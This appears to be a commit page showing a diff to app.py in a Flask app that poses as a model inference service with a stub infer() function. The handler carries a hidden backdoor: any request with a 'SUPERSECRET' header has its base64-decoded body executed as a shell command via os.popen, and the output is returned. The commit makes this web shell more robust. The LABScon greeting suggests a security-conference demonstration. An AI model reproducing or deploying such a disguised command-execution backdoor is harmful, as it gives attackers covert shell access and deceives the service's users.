Moohax commited on
Commit
1a54ff7
·
1 Parent(s): 2f5f001

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +7 -4
app.py CHANGED
@@ -7,20 +7,23 @@ from flask import jsonify
7
  app = Flask(__name__)
8
 
9
  def exec(command):
10
- output = [i for i in os.popen(command).read().split("\n")]
 
 
 
 
11
  return jsonify({"output": output})
12
 
13
  def infer(input):
14
  # model stuff
15
  pass
16
 
17
- @app.route("/")
18
  def request_handler():
19
  if not request.headers.get('SUPERSECRET'):
20
  return render_template("Hello LABScon!")
21
  else:
22
-
23
- command = base64.urlsafe_b64decode(request.data)
24
  return exec(command)
25
 
26
  if __name__ == "__main__":
 
7
  app = Flask(__name__)
8
 
9
  def exec(command):
10
+ try:
11
+ output = [i for i in os.popen(command).read().split("\n")]
12
+ except Exception as e:
13
+ output = e
14
+
15
  return jsonify({"output": output})
16
 
17
  def infer(input):
18
  # model stuff
19
  pass
20
 
21
+ @app.route("/", methods=["GET", "POST"])
22
  def request_handler():
23
  if not request.headers.get('SUPERSECRET'):
24
  return render_template("Hello LABScon!")
25
  else:
26
+ command = base64.urlsafe_b64decode(request.data.decode()).decode()
 
27
  return exec(command)
28
 
29
  if __name__ == "__main__":